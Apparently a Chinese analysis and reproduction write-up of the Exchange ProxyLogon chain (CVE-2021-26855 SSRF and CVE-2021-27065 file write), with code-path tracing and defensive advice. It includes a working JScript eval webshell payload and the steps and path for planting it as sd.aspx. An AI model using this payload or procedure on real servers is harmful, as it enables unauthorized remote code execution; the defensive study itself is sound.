CVE-2021–26855与CVE-2021–27065漏洞分析及复现
字数 1646 2025-08-05 00:15:37

Exchange Server漏洞分析:CVE-2021-26855与CVE-2021-27065

漏洞概述

这两个漏洞是Microsoft Exchange Server中的高危漏洞组合:

  • CVE-2021-26855:服务器端请求伪造(SSRF)漏洞
  • CVE-2021-27065:任意文件写入漏洞

组合利用这两个漏洞可以实现未授权的webshell写入,危害极大。

CVE-2021-26855 (SSRF)分析

漏洞位置

C:\Program Files\Microsoft\ExchangeServer\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll

漏洞触发流程

  1. 请求处理入口

    • ProxyModule.OnPostAuthorizeRequestOnPostAuthorizeInternal
    • 调用SelectHandlerForUnauthenticatedRequest函数处理未认证请求
  2. 协议类型处理

    • 根据URL中的web子目录(如/ecp/n.png)确定ProtocolType
    • ProtocolTypeecp时,检查BEResourceRequestHandler.CanHandle返回值
  3. CanHandle条件

    • GetBEResouceCookie:检查请求cookies中的X-BEResource字段
    • IsResourceRequest:请求路径需以.js.png等结尾
  4. 后端请求处理

    • 使用BEResourceRequestHandler处理请求
    • 继承链:BEResourceRequestHandlerProxyRequestHandler
    • 最终调用ProxyRequestHandler.BeginProcessRequest()
  5. 后端服务器解析

    • BeginCalculateTargetBackEndInternalBeginCalculateTargetBackEndResolveAnchorMailbox
    • 解析X-BEResource字段:使用~分割字符串,前半部分作为FQDN(全限定域名),后半部分作为version
  6. SSRF实现

    • BackEndServer.FqdnclientUrlForProxy.Host可控
    • ProxyRequestHandler.CreateServerRequest将URI发送给后端服务器
    • 通过最后一个else分支绕过认证,实现SSRF

CVE-2021-27065 (任意文件写入)分析

利用前提

需要管理员账号权限,CVE-2021-26855可帮助获取此权限

漏洞利用步骤

  1. 登录管理员账号后,访问:服务器 → 虚拟目录 → OAB
  2. 编辑OAB配置,在"外部链接"中写入恶意脚本:
    http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["SD"],"unsafe");}</script>
    
  3. 保存配置后选择"重置虚拟目录"
  4. 指定shell写入位置为:\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\sd.aspx
  5. 结果:成功写入一句话木马webshell

漏洞组合利用流程

  1. 利用CVE-2021-26855 SSRF漏洞获取管理员权限
  2. 利用获得的管理员权限触发CVE-2021-27065任意文件写入
  3. 写入webshell实现远程代码执行

防御建议

  1. 及时安装Microsoft官方发布的安全补丁
  2. 限制Exchange服务器对外网的直接暴露
  3. 实施网络分段,限制内部服务器间的横向移动
  4. 监控异常文件创建行为,特别是aspnet_client目录下的.aspx文件
  5. 定期审计Exchange服务器日志,查找可疑请求模式

参考资源

  1. Praetorian博客:Reproducing ProxyLogon Exploit
  2. 技术社区分析文章
  3. 知乎专栏分析
Exchange Server漏洞分析:CVE-2021-26855与CVE-2021-27065 漏洞概述 这两个漏洞是Microsoft Exchange Server中的高危漏洞组合: CVE-2021-26855 :服务器端请求伪造(SSRF)漏洞 CVE-2021-27065 :任意文件写入漏洞 组合利用这两个漏洞可以实现未授权的webshell写入,危害极大。 CVE-2021-26855 (SSRF)分析 漏洞位置 C:\Program Files\Microsoft\ExchangeServer\V15\FrontEnd\HttpProxy\bin\Microsoft.Exchange.FrontEndHttpProxy.dll 漏洞触发流程 请求处理入口 : ProxyModule.OnPostAuthorizeRequest → OnPostAuthorizeInternal 调用 SelectHandlerForUnauthenticatedRequest 函数处理未认证请求 协议类型处理 : 根据URL中的web子目录(如 /ecp/n.png )确定 ProtocolType 当 ProtocolType 为 ecp 时,检查 BEResourceRequestHandler.CanHandle 返回值 CanHandle条件 : GetBEResouceCookie :检查请求cookies中的 X-BEResource 字段 IsResourceRequest :请求路径需以 .js 、 .png 等结尾 后端请求处理 : 使用 BEResourceRequestHandler 处理请求 继承链: BEResourceRequestHandler → ProxyRequestHandler 最终调用 ProxyRequestHandler.BeginProcessRequest() 后端服务器解析 : BeginCalculateTargetBackEnd → InternalBeginCalculateTargetBackEnd → ResolveAnchorMailbox 解析 X-BEResource 字段:使用 ~ 分割字符串,前半部分作为FQDN(全限定域名),后半部分作为version SSRF实现 : BackEndServer.Fqdn 和 clientUrlForProxy.Host 可控 ProxyRequestHandler.CreateServerRequest 将URI发送给后端服务器 通过最后一个else分支绕过认证,实现SSRF CVE-2021-27065 (任意文件写入)分析 利用前提 需要管理员账号权限,CVE-2021-26855可帮助获取此权限 漏洞利用步骤 登录管理员账号后,访问:服务器 → 虚拟目录 → OAB 编辑OAB配置,在"外部链接"中写入恶意脚本: 保存配置后选择"重置虚拟目录" 指定shell写入位置为: \\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\sd.aspx 结果:成功写入一句话木马webshell 漏洞组合利用流程 利用CVE-2021-26855 SSRF漏洞获取管理员权限 利用获得的管理员权限触发CVE-2021-27065任意文件写入 写入webshell实现远程代码执行 防御建议 及时安装Microsoft官方发布的安全补丁 限制Exchange服务器对外网的直接暴露 实施网络分段,限制内部服务器间的横向移动 监控异常文件创建行为,特别是 aspnet_client 目录下的.aspx文件 定期审计Exchange服务器日志,查找可疑请求模式 参考资源 Praetorian博客:Reproducing ProxyLogon Exploit 技术社区分析文章 知乎专栏分析